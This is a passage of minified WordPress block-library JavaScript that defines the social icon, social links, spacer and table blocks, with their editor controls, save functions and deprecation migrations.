12.515609 9.68175 15.115234 12.21875 16.115234 C 14.32675 16.946234 14.754891 16.782234 15.212891 16.740234 C 15.670891 16.699234 16.690438 16.137687 16.898438 15.554688 C 17.106437 14.971687 17.106922 14.470187 17.044922 14.367188 C 16.982922 14.263188 16.816406 14.201172 16.566406 14.076172 C 16.317406 13.951172 15.090328 13.348625 14.861328 13.265625 C 14.632328 13.182625 14.464828 13.140625 14.298828 13.390625 C 14.132828 13.640625 13.655766 14.201187 13.509766 14.367188 C 13.363766 14.534188 13.21875 14.556641 12.96875 14.431641 C 12.71875 14.305641 11.914938 14.041406 10.960938 13.191406 C 10.218937 12.530406 9.7182656 11.714844 9.5722656 11.464844 C 9.4272656 11.215844 9.5585938 11.079078 9.6835938 10.955078 C 9.7955938 10.843078 9.9316406 10.663578 10.056641 10.517578 C 10.180641 10.371578 10.223641 10.267562 10.306641 10.101562 C 10.389641 9.9355625 10.347156 9.7890625 10.285156 9.6640625 C 10.223156 9.5390625 9.737625 8.3065 9.515625 7.8125 C 9.328625 7.3975 9.131125 7.3878594 8.953125 7.3808594 C 8.808125 7.3748594 8.6425625 7.375 8.4765625 7.375 z"}))},{name:"yelp",attributes:{service:"yelp"},title:"Yelp",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M12.271,16.718v1.417q-.011,3.257-.067,3.4a.707.707,0,0,1-.569.446,4.637,4.637,0,0,1-2.024-.424A4.609,4.609,0,0,1,7.8,20.565a.844.844,0,0,1-.19-.4.692.692,0,0,1,.044-.29,3.181,3.181,0,0,1,.379-.524q.335-.412,2.019-2.409.011,0,.669-.781a.757.757,0,0,1,.44-.274.965.965,0,0,1,.552.039.945.945,0,0,1,.418.324.732.732,0,0,1,.139.468Zm-1.662-2.8a.783.783,0,0,1-.58.781l-1.339.435q-3.067.981-3.257.981a.711.711,0,0,1-.6-.4,2.636,2.636,0,0,1-.19-.836,9.134,9.134,0,0,1,.011-1.857,3.559,3.559,0,0,1,.335-1.389.659.659,0,0,1,.625-.357,22.629,22.629,0,0,1,2.253.859q.781.324,1.283.524l.937.379a.771.771,0,0,1,.4.34A.982.982,0,0,1,10.609,13.917Zm9.213,3.313a4.467,4.467,0,0,1-1.021,1.8,4.559,4.559,0,0,1-1.512,1.417.671.671,0,0,1-.7-.078q-.156-.112-2.052-3.2l-.524-.859a.761.761,0,0,1-.128-.513.957.957,0,0,1,.217-.513.774.774,0,0,1,.926-.29q.011.011,1.327.446,2.264.736,2.7.887a2.082,2.082,0,0,1,.524.229.673.673,0,0,1,.245.68Zm-7.5-7.049q.056,1.137-.6,1.361-.647.19-1.272-.792L6.237,4.08a.7.7,0,0,1,.212-.691,5.788,5.788,0,0,1,2.314-1,5.928,5.928,0,0,1,2.5-.352.681.681,0,0,1,.547.5q.034.2.245,3.407T12.327,10.181Zm7.384,1.2a.679.679,0,0,1-.29.658q-.167.112-3.67.959-.747.167-1.015.257l.011-.022a.769.769,0,0,1-.513-.044.914.914,0,0,1-.413-.357.786.786,0,0,1,0-.971q.011-.011.836-1.137,1.394-1.908,1.673-2.275a2.423,2.423,0,0,1,.379-.435A.7.7,0,0,1,17.435,8a4.482,4.482,0,0,1,1.372,1.489,4.81,4.81,0,0,1,.9,1.868v.034Z"}))},{name:"youtube",attributes:{service:"youtube"},title:"YouTube",icon:()=>(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(Ue.Path,{d:"M21.8,8.001c0,0-0.195-1.378-0.795-1.985c-0.76-0.797-1.613-0.801-2.004-0.847c-2.799-0.202-6.997-0.202-6.997-0.202 h-0.009c0,0-4.198,0-6.997,0.202C4.608,5.216,3.756,5.22,2.995,6.016C2.395,6.623,2.2,8.001,2.2,8.001S2,9.62,2,11.238v1.517 c0,1.618,0.2,3.237,0.2,3.237s0.195,1.378,0.795,1.985c0.761,0.797,1.76,0.771,2.205,0.855c1.6,0.153,6.8,0.201,6.8,0.201 s4.203-0.006,7.001-0.209c0.391-0.047,1.243-0.051,2.004-0.847c0.6-0.607,0.795-1.985,0.795-1.985s0.2-1.618,0.2-3.237v-1.517 C22,9.62,21.8,8.001,21.8,8.001z M9.935,14.594l-0.001-5.62l5.404,2.82L9.935,14.594z"}))}];uf.forEach((e=>{e.isActive||(e.isActive=(e,t)=>e.service===t.service)}));const mf=uf,df=e=>{let{url:t,setAttributes:n,setPopover:o,popoverAnchor:a}=e;return(0,$e.createElement)(Ze.URLPopover,{anchor:a,onClose:()=>o(!1)},(0,$e.createElement)("form",{className:"block-editor-url-popover__link-editor",onSubmit:e=>{e.preventDefault(),o(!1)}},(0,$e.createElement)("div",{className:"block-editor-url-input"},(0,$e.createElement)(Ze.URLInput,{value:t,onChange:e=>n({url:e}),placeholder:(0,je.__)("Enter address"),disableSuggestions:!0})),(0,$e.createElement)(We.Button,{icon:sf,label:(0,je.__)("Apply"),type:"submit"})))},pf={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/social-link",title:"Social Icon",category:"widgets",parent:["core/social-links"],description:"Display an icon linking to a social media profile or site.",textdomain:"default",attributes:{url:{type:"string"},service:{type:"string"},label:{type:"string"}},usesContext:["openInNewTab","showLabels","iconColorValue","iconBackgroundColorValue"],supports:{reusable:!1,html:!1},editorStyle:"wp-block-social-link-editor"},{name:gf}=pf,hf={icon:lf,edit:e=>{let{attributes:t,context:n,isSelected:o,setAttributes:a}=e;const{url:r,service:l,label:i}=t,{showLabels:s,iconColorValue:c,iconBackgroundColorValue:u}=n,[m,d]=(0,$e.useState)(!1),p=at()("wp-social-link","wp-social-link-"+l,{"wp-social-link__is-incomplete":!r}),[g,h]=(0,$e.useState)(null),v=(e=>{const t=(0,St.find)(mf,{name:e});return t?t.icon:cf})(l),b=(e=>{const t=(0,St.find)(mf,{name:e});return t?t.title:(0,je.__)("Social Icon")})(l),_=null!=i?i:b,y=(0,Ze.useBlockProps)({className:p,style:{color:c,backgroundColor:u}});return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.sprintf)(
/* translators: %s: name of the social service. */
(0,je.__)("%s label"),b),initialOpen:!1},(0,$e.createElement)(We.PanelRow,null,(0,$e.createElement)(We.TextControl,{label:(0,je.__)("Link label"),help:(0,je.__)("Briefly describe the link to help screen reader users."),value:i,onChange:e=>a({label:e})})))),(0,$e.createElement)("li",y,(0,$e.createElement)(We.Button,{className:"wp-block-social-link-anchor",ref:h,onClick:()=>d(!0)},(0,$e.createElement)(v,null),(0,$e.createElement)("span",{className:at()("wp-block-social-link-label",{"screen-reader-text":!s})},_),o&&m&&(0,$e.createElement)(df,{url:r,setAttributes:a,setPopover:d,popoverAnchor:g}))))},variations:mf},vf=()=>qe({name:gf,metadata:pf,settings:hf}),bf=[{attributes:{iconColor:{type:"string"},customIconColor:{type:"string"},iconColorValue:{type:"string"},iconBackgroundColor:{type:"string"},customIconBackgroundColor:{type:"string"},iconBackgroundColorValue:{type:"string"},openInNewTab:{type:"boolean",default:!1},size:{type:"string"}},providesContext:{openInNewTab:"openInNewTab"},supports:{align:["left","center","right"],anchor:!0},migrate:e=>{var t,n;if(e.layout)return e;const{className:o}=e,a="items-justified-",r=new RegExp(`\\b${a}[^ ]*[ ]?\\b`,"g"),l={...e,className:null==o?void 0:o.replace(r,"").trim()},i=null==o||null===(t=o.match(r))||void 0===t||null===(n=t[0])||void 0===n?void 0:n.trim();return i&&Object.assign(l,{layout:{type:"flex",justifyContent:i.slice(a.length)}}),l},save:e=>{const{attributes:{iconBackgroundColorValue:t,iconColorValue:n,itemsJustification:o,size:a}}=e,r=at()(a,{"has-icon-color":n,"has-icon-background-color":t,[`items-justified-${o}`]:o}),l={"--wp--social-links--icon-color":n,"--wp--social-links--icon-background-color":t};return(0,$e.createElement)("ul",Ze.useBlockProps.save({className:r,style:l}),(0,$e.createElement)(Ze.InnerBlocks.Content,null))}}],_f=bf,yf=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M16.7 7.1l-6.3 8.5-3.3-2.5-.9 1.2 4.5 3.4L17.9 8z"})),ff=["core/social-link"],kf=[{name:(0,je.__)("Small"),value:"has-small-icon-size"},{name:(0,je.__)("Normal"),value:"has-normal-icon-size"},{name:(0,je.__)("Large"),value:"has-large-icon-size"},{name:(0,je.__)("Huge"),value:"has-huge-icon-size"}],xf=(0,Ze.withColors)({iconColor:"icon-color",iconBackgroundColor:"icon-background-color"})((function(e){var t;const{clientId:n,name:o,attributes:a,iconBackgroundColor:r,iconColor:l,isSelected:i,setAttributes:s,setIconBackgroundColor:c,setIconColor:u}=e,{iconBackgroundColorValue:m,customIconBackgroundColor:d,iconColorValue:p,openInNewTab:g,showLabels:h,size:v,layout:b}=a,_=b||(e=>{const t=(0,Ge.getBlockSupport)(e,"__experimentalLayout");return null==t?void 0:t.default})(o),y=null===(t=a.className)||void 0===t?void 0:t.includes("is-style-logos-only"),f=(0,$e.useRef)({});(0,$e.useEffect)((()=>{y?(f.current={iconBackgroundColor:r,iconBackgroundColorValue:m,customIconBackgroundColor:d},s({iconBackgroundColor:void 0,customIconBackgroundColor:void 0,iconBackgroundColorValue:void 0})):s({...f.current})}),[y]);const k=(0,$e.createElement)("li",{className:"wp-block-social-links__social-placeholder"},(0,$e.createElement)("div",{className:"wp-block-social-links__social-placeholder-icons"},(0,$e.createElement)("div",{className:"wp-social-link wp-social-link-twitter"}),(0,$e.createElement)("div",{className:"wp-social-link wp-social-link-facebook"}),(0,$e.createElement)("div",{className:"wp-social-link wp-social-link-instagram"}))),x=(0,$e.createElement)("li",{className:"wp-block-social-links__social-prompt"},(0,je.__)("Click plus to add")),w=at()(v,{"has-visible-labels":h,"has-icon-color":l.color||p,"has-icon-background-color":r.color||m}),E=(0,Ze.useBlockProps)({className:w}),C=(0,Ze.useInnerBlocksProps)(E,{allowedBlocks:ff,placeholder:i?x:k,templateLock:!1,__experimentalAppenderTagName:"li",__experimentalLayout:_}),S=[{value:l.color||p,onChange:e=>{u(e),s({iconColorValue:e})},label:(0,je.__)("Icon color"),resetAllFilter:()=>{u(void 0),s({iconColorValue:void 0})}}];y||S.push({value:r.color||m,onChange:e=>{c(e),s({iconBackgroundColorValue:e})},label:(0,je.__)("Icon background"),resetAllFilter:()=>{c(void 0),s({iconBackgroundColorValue:void 0})}});const B=(0,Ze.__experimentalUseMultipleOriginColorsAndGradients)();return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.BlockControls,{group:"other"},(0,$e.createElement)(We.ToolbarDropdownMenu,{label:(0,je.__)("Size"),text:(0,je.__)("Size"),icon:null,popoverProps:{position:"bottom right"}},(e=>{let{onClose:t}=e;return(0,$e.createElement)(We.MenuGroup,null,kf.map((e=>(0,$e.createElement)(We.MenuItem,{icon:(v===e.value||!v&&"has-normal-icon-size"===e.value)&&yf,isSelected:v===e.value,key:e.value,onClick:()=>{s({size:e.value})},onClose:t,role:"menuitemradio"},e.name))))}))),(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Link settings")},(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Open links in new tab"),checked:g,onChange:()=>s({openInNewTab:!g})}),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Show labels"),checked:h,onChange:()=>s({showLabels:!h})}))),(0,$e.createElement)(Ze.InspectorControls,{__experimentalGroup:"color"},S.map((e=>{let{onChange:t,label:o,value:a,resetAllFilter:r}=e;return(0,$e.createElement)(Ze.__experimentalColorGradientSettingsDropdown,nt({key:`social-links-color-${o}`,__experimentalHasMultipleOrigins:!0,__experimentalIsRenderedInSidebar:!0,settings:[{colorValue:a,label:o,onColorChange:t,isShownByDefault:!0,resetAllFilter:r,enableAlpha:!0}],panelId:n},B))})),!y&&(0,$e.createElement)(Ze.ContrastChecker,{textColor:p,backgroundColor:m,isLargeText:!1})),(0,$e.createElement)("ul",C))})),wf={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/social-links",title:"Social Icons",category:"widgets",description:"Display icons linking to your social media profiles or sites.",keywords:["links"],textdomain:"default",attributes:{iconColor:{type:"string"},customIconColor:{type:"string"},iconColorValue:{type:"string"},iconBackgroundColor:{type:"string"},customIconBackgroundColor:{type:"string"},iconBackgroundColorValue:{type:"string"},openInNewTab:{type:"boolean",default:!1},showLabels:{type:"boolean",default:!1},size:{type:"string"}},providesContext:{openInNewTab:"openInNewTab",showLabels:"showLabels",iconColorValue:"iconColorValue",iconBackgroundColorValue:"iconBackgroundColorValue"},supports:{align:["left","center","right"],anchor:!0,__experimentalExposeControlsToChildren:!0,__experimentalLayout:{allowSwitching:!1,allowInheriting:!1,allowVerticalAlignment:!1,default:{type:"flex"}},color:{enableContrastChecker:!1,background:!0,gradients:!0,text:!1,__experimentalDefaultControls:{background:!1}},spacing:{blockGap:["horizontal","vertical"],margin:!0,padding:!0,units:["px","em","rem","vh","vw"],__experimentalDefaultControls:{blockGap:!0}}},styles:[{name:"default",label:"Default",isDefault:!0},{name:"logos-only",label:"Logos Only"},{name:"pill-shape",label:"Pill Shape"}],editorStyle:"wp-block-social-links-editor",style:"wp-block-social-links"},{name:Ef}=wf,Cf={example:{innerBlocks:[{name:"core/social-link",attributes:{service:"wordpress",url:"https://wordpress.org"}},{name:"core/social-link",attributes:{service:"facebook",url:"https://www.facebook.com/WordPress/"}},{name:"core/social-link",attributes:{service:"twitter",url:"https://twitter.com/WordPress"}}]},icon:lf,edit:xf,save:function(e){const{attributes:{iconBackgroundColorValue:t,iconColorValue:n,showLabels:o,size:a}}=e,r=at()(a,{"has-visible-labels":o,"has-icon-color":n,"has-icon-background-color":t}),l=Ze.useBlockProps.save({className:r}),i=Ze.useInnerBlocksProps.save(l);return(0,$e.createElement)("ul",i)},deprecated:_f},Sf=()=>qe({name:Ef,metadata:wf,settings:Cf}),Bf=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M12.5 4.2v1.6h4.7L5.8 17.2V12H4.2v7.8H12v-1.6H6.8L18.2 6.8v4.7h1.6V4.2z"})),Tf=[{attributes:{height:{type:"number",default:100},width:{type:"number"}},migrate(e){const{height:t,width:n}=e;return{...e,width:void 0!==n?`${n}px`:void 0,height:void 0!==t?`${t}px`:void 0}},save(e){let{attributes:t}=e;return(0,$e.createElement)("div",Ze.useBlockProps.save({style:{height:t.height,width:t.width},"aria-hidden":!0}))}}],Nf=Tf;function Pf(e){var t;let{label:n,onChange:o,isResizing:a,value:r=""}=e;const l=(0,Wt.useInstanceId)(We.__experimentalUnitControl,"block-spacer-height-input"),i=null===(t=(0,Ze.useSetting)("spacing.units")||void 0)||void 0===t?void 0:t.filter((e=>"%"!==e)),s=(0,We.__experimentalUseCustomUnits)({availableUnits:i||["px","em","rem","vw","vh"],defaultValues:{px:100,em:10,rem:10,vw:10,vh:25}}),[c,u]=(0,We.__experimentalParseQuantityAndUnitFromRawValue)(r),m=[c,a?"px":u].join("");return(0,$e.createElement)(We.BaseControl,{label:n,id:l},(0,$e.createElement)(We.__experimentalUnitControl,{id:l,isResetValueOnUnitChange:!0,min:0,onChange:e=>{o(e)},style:{maxWidth:80},value:m,units:s}))}function If(e){let{setAttributes:t,orientation:n,height:o,width:a,isResizing:r}=e;return(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Settings")},"horizontal"===n&&(0,$e.createElement)(Pf,{label:(0,je.__)("Width"),value:a,onChange:e=>t({width:e}),isResizing:r}),"horizontal"!==n&&(0,$e.createElement)(Pf,{label:(0,je.__)("Height"),value:o,onChange:e=>t({height:e}),isResizing:r})))}const zf=e=>{let{orientation:t,onResizeStart:n,onResize:o,onResizeStop:a,isSelected:r,isResizing:l,setIsResizing:i,...s}=e;const c=e=>"horizontal"===t?e.clientWidth:e.clientHeight,u=e=>`${c(e)}px`;return(0,$e.createElement)(We.ResizableBox,nt({className:at()("block-library-spacer__resize-container",{"resize-horizontal":"horizontal"===t,"is-resizing":l,"is-selected":r}),onResizeStart:(e,t,a)=>{const r=u(a);n(r),o(r)},onResize:(e,t,n)=>{o(u(n)),l||i(!0)},onResizeStop:(e,t,n)=>{const o=c(n);a(`${o}px`),i(!1)},__experimentalShowTooltip:!0,__experimentalTooltipProps:{axis:"horizontal"===t?"x":"y",position:"corner",isVisible:l},showHandle:r},s))},Mf={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/spacer",title:"Spacer",category:"design",description:"Add white space between blocks and customize its height.",textdomain:"default",attributes:{height:{type:"string",default:"100px"},width:{type:"string"}},usesContext:["orientation"],supports:{anchor:!0,spacing:{margin:["top","bottom"],__experimentalDefaultControls:{margin:!0}}},editorStyle:"wp-block-spacer-editor",style:"wp-block-spacer"},{name:Lf}=Mf,Rf={icon:Bf,edit:e=>{let{attributes:t,isSelected:n,setAttributes:o,toggleSelection:a,context:r}=e;const{orientation:l}=r,{height:i,width:s}=t,[c,u]=(0,$e.useState)(!1),[m,d]=(0,$e.useState)(null),[p,g]=(0,$e.useState)(null),h=()=>a(!1),v=()=>a(!0),b={height:"horizontal"===l?24:m||i||void 0,width:"horizontal"===l&&(p||s)||void 0};return(0,$e.useEffect)((()=>{"horizontal"!==l||s||o({height:"0px",width:"72px"})}),[]),(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ue.View,(0,Ze.useBlockProps)({style:b}),"horizontal"===(_=l)?(0,$e.createElement)(zf,{minWidth:0,enable:{top:!1,right:!0,bottom:!1,left:!1,topRight:!1,bottomRight:!1,bottomLeft:!1,topLeft:!1},orientation:_,onResizeStart:h,onResize:g,onResizeStop:e=>{v(),o({width:e}),g(null)},isSelected:n,isResizing:c,setIsResizing:u}):(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(zf,{minHeight:0,enable:{top:!1,right:!1,bottom:!0,left:!1,topRight:!1,bottomRight:!1,bottomLeft:!1,topLeft:!1},orientation:_,onResizeStart:h,onResize:d,onResizeStop:e=>{v(),o({height:e}),d(null)},isSelected:n,isResizing:c,setIsResizing:u}))),(0,$e.createElement)(If,{setAttributes:o,height:m||i,width:p||s,orientation:l,isResizing:c}));var _},save:function(e){let{attributes:{height:t,width:n}}=e;return(0,$e.createElement)("div",Ze.useBlockProps.save({style:{height:t,width:n},"aria-hidden":!0}))},deprecated:Nf},Af=()=>qe({name:Lf,metadata:Mf,settings:Rf}),Vf=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM5 4.5h14c.3 0 .5.2.5.5v3.5h-15V5c0-.3.2-.5.5-.5zm8 5.5h6.5v3.5H13V10zm-1.5 3.5h-7V10h7v3.5zm-7 5.5v-4h7v4.5H5c-.3 0-.5-.2-.5-.5zm14.5.5h-6V15h6.5v4c0 .3-.2.5-.5.5z"})),Hf={"subtle-light-gray":"#f3f4f5","subtle-pale-green":"#e9fbe5","subtle-pale-blue":"#e7f5fe","subtle-pale-pink":"#fcf0ef"},Df=[{attributes:{hasFixedLayout:{type:"boolean",default:!1},backgroundColor:{type:"string"},caption:{type:"string",source:"html",selector:"figcaption",default:""},head:{type:"array",default:[],source:"query",selector:"thead tr",query:{cells:{type:"array",default:[],source:"query",selector:"td,th",query:{content:{type:"string",source:"html"},tag:{type:"string",default:"td",source:"tag"},scope:{type:"string",source:"attribute",attribute:"scope"},align:{type:"string",source:"attribute",attribute:"data-align"}}}}},body:{type:"array",default:[],source:"query",selector:"tbody tr",query:{cells:{type:"array",default:[],source:"query",selector:"td,th",query:{content:{type:"string",source:"html"},tag:{type:"string",default:"td",source:"tag"},scope:{type:"string",source:"attribute",attribute:"scope"},align:{type:"string",source:"attribute",attribute:"data-align"}}}}},foot:{type:"array",default:[],source:"query",selector:"tfoot tr",query:{cells:{type:"array",default:[],source:"query",selector:"td,th",query:{content:{type:"string",source:"html"},tag:{type:"string",default:"td",source:"tag"},scope:{type:"string",source:"attribute",attribute:"scope"},align:{type:"string",source:"attribute",attribute:"data-align"}}}}}},supports:{anchor:!0,align:!0,__experimentalSelector:".wp-block-table > table"},save:e=>{let{attributes:t}=e;const{hasFixedLayout:n,head:o,body:a,foot:r,backgroundColor:l,caption:i}=t;if(!o.length&&!a.length&&!r.length)return null;const s=(0,Ze.getColorClassName)("background-color",l),c=at()(s,{"has-fixed-layout":n,"has-background":!!s}),u=!Ze.RichText.isEmpty(i),m=e=>{let{type:t,rows:n}=e;if(!n.length)return null;const o=`t${t}`;return(0,$e.createElement)(o,null,n.map(((e,t)=>{let{cells:n}=e;return(0,$e.createElement)("tr",{key:t},n.map(((e,t)=>{let{content:n,tag:o,scope:a,align:r}=e;const l=at()({[`has-text-align-${r}`]:r});return(0,$e.createElement)(Ze.RichText.Content,{className:l||void 0,"data-align":r,tagName:o,value:n,key:t,scope:"th"===o?a:void 0})})))})))};return(0,$e.createElement)("figure",Ze.useBlockProps.save(),(0,$e.createElement)("table",{className:""===c?void 0:c},(0,$e.createElement)(m,{type:"head",rows:o}),(0,$e.createElement)(m,{type:"body",rows:a}),(0,$e.createElement)(m,{type:"foot",rows:r})),u&&(0,$e.createElement)(Ze.RichText.Content,{tagName:"figcaption",value:i}))},isEligible:e=>e.backgroundColor&&e.backgroundColor in Hf&&!e.style,migrate:e=>({...e,backgroundColor:void 0,style:{color:{background:Hf[e.backgroundColor]}}})},{attributes:{hasFixedLayout:{type:"boolean",default:!1},backgroundColor:{type:"string"},head:{type:"array",default:[],source:"query",selector:"thead tr",query:{cells:{type:"array",default:[],source:"query",selector:"td,th",query:{content:{type:"string",source:"html"},tag:{type:"string",default:"td",source:"tag"},scope:{type:"string",source:"attribute",attribute:"scope"}}}}},body:{type:"array",default:[],source:"query",selector:"tbody tr",query:{cells:{type:"array",default:[],source:"query",selector:"td,th",query:{content:{type:"string",source:"html"},tag:{type:"string",default:"td",source:"tag"},scope:{type:"string",source:"attribute",attribute:"scope"}}}}},foot:{type:"array",default:[],source:"query",selector:"tfoot tr",query:{cells:{type:"array",default:[],source:"query",selector:"td,th",query:{content:{type:"string",source:"html"},tag:{type:"string",default:"td",source:"tag"},scope:{type:"string",source:"attribute",attribute:"scope"}}}}}},supports:{align:!0},save(e){let{attributes:t}=e;const{hasFixedLayout:n,head:o,body:a,foot:r,backgroundColor:l}=t;if(!o.length&&!a.length&&!r.length)return null;const i=(0,Ze.getColorClassName)("background-color",l),s=at()(i,{"has-fixed-layout":n,"has-background":!!i}),c=e=>{let{type:t,rows:n}=e;if(!n.length)return null;const o=`t${t}`;return(0,$e.createElement)(o,null,n.map(((e,t)=>{let{cells:n}=e;return(0,$e.createElement)("tr",{key:t},n.map(((e,t)=>{let{content:n,tag:o,scope:a}=e;return(0,$e.createElement)(Ze.RichText.Content,{tagName:o,value:n,key:t,scope:"th"===o?a:void 0})})))})))};return(0,$e.createElement)("table",{className:s},(0,$e.createElement)(c,{type:"head",rows:o}),(0,$e.createElement)(c,{type:"body",rows:a}),(0,$e.createElement)(c,{type:"foot",rows:r}))}}],Ff=Df,Gf=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M4 19.8h8.9v-1.5H4v1.5zm8.9-15.6H4v1.5h8.9V4.2zm-8.9 7v1.5h16v-1.5H4z"})),$f=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M16.4 4.2H7.6v1.5h8.9V4.2zM4 11.2v1.5h16v-1.5H4zm3.6 8.6h8.9v-1.5H7.6v1.5z"})),Uf=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M11.1 19.8H20v-1.5h-8.9v1.5zm0-15.6v1.5H20V4.2h-8.9zM4 12.8h16v-1.5H4v1.5z"})),Of=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"-2 -2 24 24"},(0,$e.createElement)(Ue.Path,{d:"M6.656 6.464h2.88v2.88h1.408v-2.88h2.88V5.12h-2.88V2.24H9.536v2.88h-2.88zM0 17.92V0h20.48v17.92H0zm7.68-2.56h5.12v-3.84H7.68v3.84zm-6.4 0H6.4v-3.84H1.28v3.84zM19.2 1.28H1.28v9.024H19.2V1.28zm0 10.24h-5.12v3.84h5.12v-3.84zM6.656 6.464h2.88v2.88h1.408v-2.88h2.88V5.12h-2.88V2.24H9.536v2.88h-2.88zM0 17.92V0h20.48v17.92H0zm7.68-2.56h5.12v-3.84H7.68v3.84zm-6.4 0H6.4v-3.84H1.28v3.84zM19.2 1.28H1.28v9.024H19.2V1.28zm0 10.24h-5.12v3.84h5.12v-3.84z"})),qf=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"-2 -2 24 24"},(0,$e.createElement)(Ue.Path,{d:"M13.824 10.176h-2.88v-2.88H9.536v2.88h-2.88v1.344h2.88v2.88h1.408v-2.88h2.88zM0 17.92V0h20.48v17.92H0zM6.4 1.28H1.28v3.84H6.4V1.28zm6.4 0H7.68v3.84h5.12V1.28zm6.4 0h-5.12v3.84h5.12V1.28zm0 5.056H1.28v9.024H19.2V6.336z"})),Wf=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"-2 -2 24 24"},(0,$e.createElement)(Ue.Path,{d:"M17.728 11.456L14.592 8.32l3.2-3.2-1.536-1.536-3.2 3.2L9.92 3.648 8.384 5.12l3.2 3.2-3.264 3.264 1.536 1.536 3.264-3.264 3.136 3.136 1.472-1.536zM0 17.92V0h20.48v17.92H0zm19.2-6.4h-.448l-1.28-1.28H19.2V6.4h-1.792l1.28-1.28h.512V1.28H1.28v3.84h6.208l1.28 1.28H1.28v3.84h7.424l-1.28 1.28H1.28v3.84H19.2v-3.84z"})),jf=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"-2 -2 24 24"},(0,$e.createElement)(Ue.Path,{d:"M6.4 3.776v3.648H2.752v1.792H6.4v3.648h1.728V9.216h3.712V7.424H8.128V3.776zM0 17.92V0h20.48v17.92H0zM12.8 1.28H1.28v14.08H12.8V1.28zm6.4 0h-5.12v3.84h5.12V1.28zm0 5.12h-5.12v3.84h5.12V6.4zm0 5.12h-5.12v3.84h5.12v-3.84z"})),Zf=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"-2 -2 24 24"},(0,$e.createElement)(Ue.Path,{d:"M14.08 12.864V9.216h3.648V7.424H14.08V3.776h-1.728v3.648H8.64v1.792h3.712v3.648zM0 17.92V0h20.48v17.92H0zM6.4 1.28H1.28v3.84H6.4V1.28zm0 5.12H1.28v3.84H6.4V6.4zm0 5.12H1.28v3.84H6.4v-3.84zM19.2 1.28H7.68v14.08H19.2V1.28z"})),Qf=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"-2 -2 24 24"},(0,$e.createElement)(Ue.Path,{d:"M6.4 9.98L7.68 8.7v-.256L6.4 7.164V9.98zm6.4-1.532l1.28-1.28V9.92L12.8 8.64v-.192zm7.68 9.472V0H0v17.92h20.48zm-1.28-2.56h-5.12v-1.024l-.256.256-1.024-1.024v1.792H7.68v-1.792l-1.024 1.024-.256-.256v1.024H1.28V1.28H6.4v2.368l.704-.704.576.576V1.216h5.12V3.52l.96-.96.32.32V1.216h5.12V15.36zm-5.76-2.112l-3.136-3.136-3.264 3.264-1.536-1.536 3.264-3.264L5.632 5.44l1.536-1.536 3.136 3.136 3.2-3.2 1.536 1.536-3.2 3.2 3.136 3.136-1.536 1.536z"})),Kf=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M4 6v11.5h16V6H4zm1.5 1.5h6V11h-6V7.5zm0 8.5v-3.5h6V16h-6zm13 0H13v-3.5h5.5V16zM13 11V7.5h5.5V11H13z"})),Yf=["align"];function Jf(e,t,n){if(!t)return e;const o=(0,St.pick)(e,["head","body","foot"]),{sectionName:a,rowIndex:r}=t;return(0,St.mapValues)(o,((e,o)=>a&&a!==o?e:e.map(((e,a)=>r&&r!==a?e:{cells:e.cells.map(((e,r)=>function(e,t){if(!e||!t)return!1;switch(t.type){case"column":return"column"===t.type&&e.columnIndex===t.columnIndex;case"cell":return"cell"===t.type&&e.sectionName===t.sectionName&&e.columnIndex===t.columnIndex&&e.rowIndex===t.rowIndex}}({sectionName:o,columnIndex:r,rowIndex:a},t)?n(e):e))}))))}function Xf(e,t){let{sectionName:n,rowIndex:o,columnCount:a}=t;const r=function(e){return nk(e.head)?nk(e.body)?nk(e.foot)?void 0:e.foot[0]:e.body[0]:e.head[0]}(e),l=void 0===a?(0,St.get)(r,["cells","length"]):a;return l?{[n]:[...e[n].slice(0,o),{cells:Array.from({length:l}).map(((e,t)=>{const 